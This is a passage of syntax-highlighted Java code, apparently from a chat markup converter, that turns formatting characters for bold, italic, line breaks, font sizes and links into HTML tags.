#0000BB">i</span><span style="color: #007700">++;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">":"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Reset&nbsp;Style&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">case&nbsp;</span><span style="color: #DD0000">'§'</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">escape&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">bold&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">italic&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;span&nbsp;style="</span><span style="color: #0000BB">font</span><span style="color: #007700">-</span><span style="color: #0000BB">size</span><span style="color: #007700">:</span><span style="color: #DD0000">").append(fontSize).append("</span><span style="color: #0000BB">px</span><span style="color: #DD0000">"&gt;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;font&nbsp;color="").append(Integer.toString(fontColor.getRGB()&nbsp;&amp;&nbsp;0x00ffffff,&nbsp;16)).append(""&gt;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Bold<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">case&nbsp;</span><span style="color: #DD0000">'_'</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">escape</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"_"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">bold</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;/b&gt;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">bold&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;b&gt;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">bold&nbsp;</span><span style="color: #007700">=&nbsp;!</span><span style="color: #0000BB">bold</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Italic&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">case&nbsp;</span><span style="color: #DD0000">'"'</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">escape</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">""");<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(italic)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;code.append("</span><span style="color: #007700">&lt;/</span><span style="color: #0000BB">i</span><span style="color: #007700">&gt;</span><span style="color: #DD0000">");<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;code.append("</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">i</span><span style="color: #007700">&gt;</span><span style="color: #DD0000">");<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;italic&nbsp;=&nbsp;!italic;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;Line&nbsp;break<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;'#':<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(escape)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;code.append("</span><span style="color: #FF8000">#");<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;br&gt;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;KCode<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">case&nbsp;</span><span style="color: #DD0000">'°'</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">escape</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"°"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">charAt</span><span style="color: #007700">(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;==&nbsp;</span><span style="color: #DD0000">'°'&nbsp;</span><span style="color: #007700">&amp;&amp;&nbsp;(!</span><span style="color: #0000BB">escape</span><span style="color: #007700">))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(</span><span style="color: #0000BB">isNumber</span><span style="color: #007700">(</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">charAt</span><span style="color: #007700">(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)))&nbsp;{&nbsp;</span><span style="color: #FF8000">//&nbsp;Schriftgröße<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;(</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">charAt</span><span style="color: #007700">(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">)&nbsp;==&nbsp;</span><span style="color: #DD0000">'&gt;'</span><span style="color: #007700">)&nbsp;{&nbsp;</span><span style="color: #FF8000">//&nbsp;Link<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;length&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">StringBuilder&nbsp;size&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">StringBuilder</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">charAt</span><span style="color: #007700">(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">charAt</span><span style="color: #007700">(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;span&nbsp;style="</span><span style="color: #0000BB">font</span><span style="color: #007700">-</span><span style="color: #0000BB">size</span><span style="color: #007700">:</span><span style="color: #DD0000">").append(size.toString()).append("</span><span style="color: #0000BB">px</span><span style="color: #DD0000">"&gt;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">length&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">.</span><span style="color: #0000BB">toString</span><span style="color: #007700">().</span><span style="color: #0000BB">length</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;link&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">substring</span><span style="color: #007700">(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">4</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">link&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">link</span><span style="color: #007700">.</span><span style="color: #0000BB">substring</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">link</span><span style="color: #007700">.</span><span style="color: #0000BB">indexOf</span><span style="color: #007700">(</span><span style="color: #DD0000">'&lt;'</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">link</span><span style="color: #007700">.</span><span style="color: #0000BB">split</span><span style="color: #007700">(</span><span style="color: #DD0000">"\\|"</span><span style="color: #007700">).</span><span style="color: #0000BB">length&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;href&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">link</span><span style="color: #007700">.</span><span style="color: #0000BB">split</span><span style="color: #007700">(</span><span style="color: #DD0000">"\\|"</span><span style="color: #007700">)&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;a&nbsp;</span><span style="color: 